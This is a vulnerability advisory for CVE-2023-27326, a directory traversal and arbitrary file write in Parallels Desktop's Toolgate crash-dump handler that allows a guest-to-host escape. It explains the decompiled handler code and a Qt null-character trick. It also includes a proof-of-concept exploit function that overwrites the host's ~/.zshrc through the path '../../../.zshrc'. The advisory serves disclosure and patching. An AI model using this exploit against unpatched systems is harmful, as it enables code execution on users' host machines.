## **Parallels Desktop Toolgate Vulnerability**
*This advisory contains information about the following vulnerabilities:*
- **CVE-2023-27326** [Directory Traversal Arbitrary File Write Vulnerability](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#directory-traversal-arbitrary-file-write-vulnerability)
# Directory Traversal Arbitrary File Write Vulnerability[¶](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#directory-traversal-arbitrary-file-write-vulnerability)
This vulnerability allows local attackers to write arbitrary files and escalate privileges on affected installations of [Parallels Desktop](https://www.parallels.com/products/desktop/). An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability.
The specific flaw exists within the *Toolgate* component. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to write arbitrary files and execute code in the context of the current user on the host system.
The vulnerable code path can be reached even if the *Isolate from Mac* feature is enabled.
## Vulnerability Summary[¶](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#vulnerability-summary)
The vulnerable code is located in one of the request handlers of the Parallel Desktop Toolgate component. This request is normally used by the guest to write a crash dump file into the `GuestDumps` subfolder of the VM's home directory. The content of this file is fully user-controlled, but its filename is formatted according to the following pattern: `.---.-.`.
The vulnerability is twofold:
- First, because there is no checking being done on the `` part of the filename, it is possible to perform a directory traversal, allowing to write a file that is located outside of the intended folder.
- Then, because of a subtlety with Qt's `QByteArray` and `QString` classes, the formatting of the filename can be skipped altogether (but unfortunately not the truncation of the user-input), resulting in a almost fully user-controlled path.
Finally, this arbitrary file write can be used to overwrite the shell login script and execute arbitrary code as the user.
## Vulnerability Details[¶](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#vulnerability-details)
The vulnerability is in the command handler of the `CSHAShellExt` tool for the request `TG_REQUEST_VIRTEX_CRASH` (ID 0x8323). All the commands of the `CSHAShellExt` tool end up in the function [`CSHAShellExt::handle_request_inner`](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#CSHAShellExt::handle_request_inner) (that will be called from a different thread):
```
uint64_t CSHAShellExt::handle_request_inner(CSHAShellExt *this, request *request) {
// ...
uint32_t inline_size = request->InlineByteCount;
uint32_t *inline_data = get_request_inline_data_inner(request);
// Ensure that there's enough inline data for the header
if (inline_size < 0x10) { /* ... */ }
// Ensure that the version is supported (1, 0)
if (inline_data[0] != 1) { /* ... */ }
// Handle the request by type
switch (request->Request) {
// ...
case TG_REQUEST_VIRTEX_CRASH:
// Ensure that this is the correct operation code (?)
if (inline_data[2] != 4) { /* ... */ }
// Ensure that there's at least 0x200 bytes of inline data
if (inline_size < 0x200) { /* ... */ }
// Call the appriopriate handler
this->virtex_req_crash(request, inline_data, &ret);
goto FINISH_REQUEST;
// ...
}
// ...
}
```
This function forwards the request to the appropriate handler, as the `CSHAShellExt` tool accepts different types of requests. In the case of the `TG_REQUEST_VIRTEX_CRASH` request, the corresponding handler is [`CSHAShellExt::virtex_req_crash`](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#CSHAShellExt::virtex_req_crash):
```
void CSHAShellExt::virtex_req_crash(
CSHAShellExt *this,
request *request,
uint32_t *inline_data,
uint32_t *ret_p) {
// ...
// Compute the path where to store the guest dumps files
this->m_CVirtualPC->m_CVmConfiguration->getVmIdentification()->getHomePath(&homepath);
get_file_dir_absolute_path(&homepath_abs, &homepath);
format_guestdumps_path(&guestdumps, &homepath_abs);
// ...
// Get the buffer containing the file data
if (request->BufferCount == 0) { /* ... */ }
buffer0_pages = map_buffer_at_idx_pages_from_guest_inner(request, 0, 0);
if (buffer0_pages == NULL) { /* ... */ }
// ...
// Get the buffer containing the file name
QString pbProcName;
pbProcName_idx = inline_data[0x44];
if (pbProcName_idx == 0)
goto SKIP_PBPROCNAME;
pbProcName_pages = map_buffer_at_idx_pages_from_guest_inner(request, pbProcName_idx, 0);
if (pbProcName_pages == NULL) { /* ... */ }
QByteArray pbProcName_arr;
pbProcName_arr.resize(pbProcName_pages->RequestSize);
read_from_buffer_pages_inner(pbProcName_pages, 0, pbProcName_arr.data(), pbProcName_pages->RequestSize);
pbProcName = QString::fromUtf8(pbProcName_arr);
// ...
SKIP_PBPROCNAME:
// ...
SKIP_PBPROCPATH:
// Handle the subrequest by type
code = inline_data[7];
switch (code) {
// ...
case 1:
// Prepare the guest dumps directory
prepare_guestdumps_dir(&guestdumps);
// ...
// Format the crash dump filename
format_dump_filename(&filename, inline_data, &pbProcName);
// ...
// Build the final path from the directory and filename
QString filepath(guestdumps);
filepath.append(QDir::separator());
filepath.append(filename);
// ...
// Finally, write the crash dump to disk
write_dump_to_disk(buffer0_pages, &filepath);
// ...
break;
// ...
}
// ...
}
```
This handler starts by retrieving the VM's home path (`~/Parallels/.pvm` by default) using `CVmIdentification::getHomePath`. It gets its absolute path using [`get_file_dir_absolute_path`](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#get_file_dir_absolute_path) and appends `/GuestDumps` to it using [`format_guestdumps_path`](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#format_guestdumps_path) to create the final path.
```
void get_file_dir_absolute_path(QString& abs_path, const QString& path) {
// ...
abs_path = QFileInfo(path).dir().absolutePath();
// ...
}
```
```
void format_guestdumps_path(QString& guestdumps, QString& homepath) {
// ...
// Append /GuestDumps to the home path
guestdumps.append(homepath);
guestdumps.append("/");
guestdumps.append("GuestDumps");
// ...
}
```
The request buffer #0 contains the crash dump data. The request buffer #n (where `n` is extracted from the inline data) contains the crash dump filename. The filename is extracted and parsed as an UTF-8 string (more details on that part later).
Finally, the handler extracts another subrequest type from the inline data. If it's 1 ("write crash dump without triggering a crash"), it'll do the following:
- it calls [`prepare_guestdumps_dir`](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#prepare_guestdumps_dir) that creates the guest dumps directory and removes previous crash dumps;
- it calls [`format_dump_filename`](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#format_dump_filename) that appends various integers, the current date/time, and an extension to the filename;
- it concatenates the guest dumps directory and formatted crash dump filename (enabling the directory traversal);
- it calls [`write_dump_to_disk`](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#write_dump_to_disk) to write the crash dump data to the resulting file path.
The code of [`prepare_guestdumps_dir`](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#prepare_guestdumps_dir), [`format_dump_filename`](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#format_dump_filename) and [`write_dump_to_disk`](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#write_dump_to_disk) can be found below for reference:
```
void prepare_guestdumps_dir(QString &guestdumps) {
// ...
// Create the directory if it doesn't exist
QDir dir(guestdumps);
if (!dir.exists())
dir.mkdir(".");
// Remove all files with the specified extensions
QStringList extensions = { "*.dmp", "*.crash", "*.dump" };
QFileInfoList list = dir.entryInfoList(extensions, 0x10A, 1);
for (int i = 0; i < list.size(); ++i)
QFile::remove(list.at(i).absoluteFilePath());
// ...
}
```
```
void format_dump_filename(QString& filename, uint32_t *inline_data, QString& pbProcName) {
// ...
// Append some numbers from the inline data to the filename
filename = pbProcName.mid(0, 20);
filename.append(".");
filename.append(QString::number(inline_data[8], 10));
filename.append("-");
filename.append(QString::number(inline_data[9], 10));
filename.append("-");
filename.append(QString::number(inline_data[0xB], 10));
filename.append("-");
filename.append(QString::number(inline_data[0xA], 10));
// ...
// Append the current date & time to the filename
filename.append(QChar("."));
filename.append(QDateTime::currentDateTime().date().toString());
filename.append(QDateTime::currentDateTime().time().toString("-hhmmss"));
// ...
// Append the VM type to the filename
switch (inline_data[4]) {
case 0:
filename.append(".non");
break;
// ...
}
// ...
// Append the dump type to the filename
switch (inline_data[6]) {
case 3:
filename.append(".dump");
break;
// ...
}
// ...
}
```
```
void write_dump_to_disk(pages *buffer0_pages, const QString& filepath) {
// ...
// Open the file for writing
QFile file(filepath);
if (!file.open(2)) { /* ... */ }
// Write the content of the buffer to it
pos = 0;
while (1) {
len = get_remaining_bytes_from_buffer(buffer0_pages, pos, &buf);
if (!len)
break;
pos += len;
file.write(buf, len);
// ...
}
// Close the file
file.close();
// ...
}
```
At first glance, it appears that the filename won't be fully controlled, as [`format_dump_filename`](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#format_dump_filename) will truncate it and then add multiple suffixes to it. But if we provide a `pbProcName` buffer where our filename is followed by at least one null byte, the call to `QString::fromUtf8` will create a string that ends with at least one null unicode character (as `QString`s are not null-terminated). Then, when appending other strings to it, they will go after the null unicode characters. Finally, when it will be passed to `QFile::QFile`, only the characters up to the first null one will be used. Thus, we have full control of the filename, except for the maximum length of 19 characters (because of the truncation to 20 characters, minus one for the null byte).
This behavior is highlighted by the following test code and its output.
```
#include <QDebug>
#include <QString>
int main(int argc, char *argv[]) {
char buf[10];
memset(buf, 0, sizeof(buf));
strcpy(buf, "Hello");
QString str = QString::fromUtf8(buf, sizeof(buf));
qInfo() << str;
str.append(" World");
qInfo() << str;
printf("%s\n", str.toStdString().c_str());
}
```
```
"Hello\u0000\u0000\u0000\u0000\u0000"
"Hello\u0000\u0000\u0000\u0000\u0000 World"
Hello
```
As can be seen above, the initial `QString` contains null unicode characters, one for each of the null bytes of the buffer it was created from. The second string is then appended after the null unicode characters. Finally, when the resulting `QString` is converted into a regular C string, the null unicode characters are converted into null bytes, and thus the output of the `printf` call doesn't include the second part of the string.
## Exploitation[¶](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#exploitation)
This vulnerability can be used to overwrite files in the user's home directory with arbitrary content. In our exploit, we decided to target the shell configuration file `~/.zshrc` and overwrite its contents with a simple `open /System/Applications/Calculator.app`. This will result in the *Calculator* app opening each time the user opens a new terminal window/tab. Another interesting target could have been the VM's configuration file `config.pvs`, located in its home path, to try to enable the *Shared folders* feature and gain access to the whole host file system.
Basically, our exploit comes down to making the following request:
```
void exploit(void) {
char inln[0x200];
char *CR = kzalloc(0x1000, GFP_KERNEL);
char *pbProcName = kzalloc(0x1000, GFP_KERNEL);
memset(inln, 0, sizeof(inln));
*(uint32_t *)(inln + 0) = 1;
*(uint32_t *)(inln + 8) = 4;
*(uint32_t *)(inln + 0x1c) = 1;
*(uint32_t *)(inln + 0x110) = 1;
strcpy(CR, "open /System/Applications/Calculator.app\n");
strcpy(pbProcName, "../../../.zshrc");
twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0);
//kfree(CR);
//kfree(pbProcName);
}
```
The full exploit code can be found on our [GitHub repository](https://github.com/Impalabs/CVE-2023-27326).
## Patch[¶](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html#patch)
This vulnerability was assigned CVE-2023-27326 and patched in the [18.1.1 (53328) security update](https://kb.parallels.com/125013) of Parallels Desktop.
Unavailable Comments